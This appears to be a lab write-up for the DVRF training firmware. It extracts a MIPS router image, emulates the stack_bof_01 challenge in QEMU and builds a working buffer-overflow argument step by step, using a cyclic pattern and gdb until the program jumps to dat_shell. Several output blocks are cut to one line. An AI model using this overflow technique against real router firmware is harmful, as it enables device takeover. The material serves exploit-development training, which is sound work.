Learning with DVRF
Getting Started with Damn Vulnerable Router Firmware (DVRF) v0.1
The Damn Vulnerable Router Firmware (DVRF) project by b1ack0wl will help you get a good start in understanding mips.
Download the DVRF project from GitHub:https://github.com/praetorian-inc/DVRF.
To get started you’ll need to do the following Tools.
Open up a Terminal and go to the location with the firmware bin file.
We can use binwalk to check out the firmware to get some light details of the file system contained with the .bin file. Let’s start with the simple examination with the following command. In Terminal, type in:
1 | ➜ DVRF cd Firmware <br/> |
From here we can see that there is a Squash file system and that little endian is used for the byte order.
Let’s extract the firmware to further explore the data within. In Terminal, type in:
1 | binwalk -eM DVRF_v03.bin |
When we do the extraction we can see the same first section as above showing the different parts of the firmware. The second section is new and shows information about the underlying Linux filesystem within the firmware.
1 | Scan Time: 20xx-xx-xx xx:xx:xx |
An additional folder has been created in the same directory which contains the extracted contents. Within this new folder, we see the “squashfs-root” folder representing the file system of the firmware. Within this folder, we can see a folder called “pwnable” which have the specific DVRF challenges that we need to solve.
Buffer Overflow exploitation on MIPS architecture emulated with QEMU by remote debugging with GDB
Introduction
This exercise is based on stack_bof_01 (belonging to DVRF). In this case we will try to exploit the Buffer Overflow vulnerability present on the file, due to the usage of the strcpy function. The executable stack_bof_01 is intended for a MIPS architecture, and it is emulated with qemu-mipsel by enabling chroot command.
1. Analyse the binary
The readme file in the “Intro” directory has specific information about the various challenges that will be solved. Check this file over to see hints about each challenge.
Now that we know for sure that the underlying byte system is “little endian” from earlier analysis with binwalk, we can check to see if the files are of a MIPS architecture. Open up Terminal and browse to the pwnable directory.
1 | ➜ DVRF cd Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro |
To get the specific information about the file, we can use the “file” command. Let’s try this on the stack overflow challenge file. In Terminal, type in:
1 | file stack_bof_01 |
Here we can see a few interesting pieces of information about this file system and specific architecture information. To verify little endian, we can see the “LSB executable” which stands for least significant byte indicating little endian. We can see the MIPS architecture with the 32-bit version of MIPS. We can also see that the uClibc C library is used.
1 | ➜ Intro file stack_bof_01 |
With the information above, we can go into the next step.
2. Emulate the binary in Qemu virtual environment
Now let’s go back to the squashfs-root directory. We need to copy over the appropriate version of Qemu to run the challenges. To do this, we’re going to copy Qemu to the firmware root directory. In Terminal, type in:
1 | cp $(which qemu-mipsel-static) ./ |
1 | ➜ squashfs-root cp $(which qemu-mipsel-static) ./ |
Let’s verify that we can run the challenges with Qemu. We will run the challenge in a “chroot” to contain the challenge. In Terminal, type in:
1 | sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 test123 |
You should see the wrong input that will show the failed message from the challenge.
1 | ➜ squashfs-root sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 test123 |
3. Remote debugging with gdb-multiarch
The program is emulated again, now with the parameter AAAA and the option “-g 1234”, meaning that the file is going to be debugged remotely at port 1234:
1 | sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 AAAA |
Open up another terminal and run the debugger gdb-multiarch in a quiet mode (-q):
1 | gdb-multiarch ./pwnable/Intro/stack_bof_01 -q |
Setting the architecture option for MIPS:
1 | (gdb) set architecture mips |
The remote target will be the Qemu instance launched before, that is running locally at the port 1234:
1 | (gdb) target remote 127.0.0.1:1234 |
Continuing the execution:
1 | (gdb) c |
The usual output is displayed
1 | sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 AAAA |
4. Preparing the attack
Now, in order to prepare the attack, let’s examine the functions of the binary. Specifically, because we are interested to control the flow of the program to execute the function dat_shell, let’s notice that this function starts at 0x004000950:
1 | (gdb) info functions |
Also -
1 | (gdb) print dat_shell |
In order to overwrite the buffer, let’s use a pattern of 300 characters generated by a Perl script like this:
https://securitythoughts.wordpress.com/2010/03/18/tool-unique-pattern-generator-for-exploit-development/
1 | ./pattern.pl 300 |
Copying the pattern, and pasting it as a parameter to the program:
1 | sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 |
Debugging again and continuing the execution, there is a segmentation fault at 0x41386740, a non executable area of memory:
1 | (gdb) target remote 127.0.0.1:1234 |
As before, the usual message is displayed:
1 | sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 |
Examining the registers, we see that the PC (Program Counter) has been overwritten with the 0x41386741 direction:
1 | (gdb) info registers |
Converting the hexadecimal number 0x41386741 into ASCII we get A8gA.After reversing A8gA to Ag8A, locating it into the pattern, there is an offset of 204:
1 | ./pattern.pl 300 Ag8A |
5. Launching the exploitation
The key concept to perform the attack is that the buffer must be rewriten with the first 204 characters (all characters before Ag8A) followed by the address of the function dat_shell()
Now, creating a new pattern of just 204 characters and copying them:
1 | ./pattern.pl 204 |
This line grows the stack by an unsigned immediate (8) from the current stack pointer memory location (sp) and stores the new memory address in the stack pointer register. In this case, the stack pointer is going to decrease by 8 toward zero.
Instead of choosing the beginning address of dat_shell(), let’s pick four more advance instructions (0x0040095c). Otherwise the exploit does not work. We needto give the address after function prologue.
1 | (gdb) disas dat_shell |
Crafting a new parameter, composed of the 204 set of characters of the pattern, plus echoing 0x0040095c in a Little Indian format with option -e, to enable the interpretation of backslash escapes.
Let’s pass the argument to the program:
1 | sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\\x5c\\x09\\x40'`" |
Remote debugging again and remote debugging again:
1 | (gdb) target remote 127.0.0.1:1234 |
At this point the registers PC has been loaded with the function dat_shell().
Eventually the buffer overflow attack is successful because dat_shell() function is executed
1 | sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\\x5c\\x09\\x40'`" |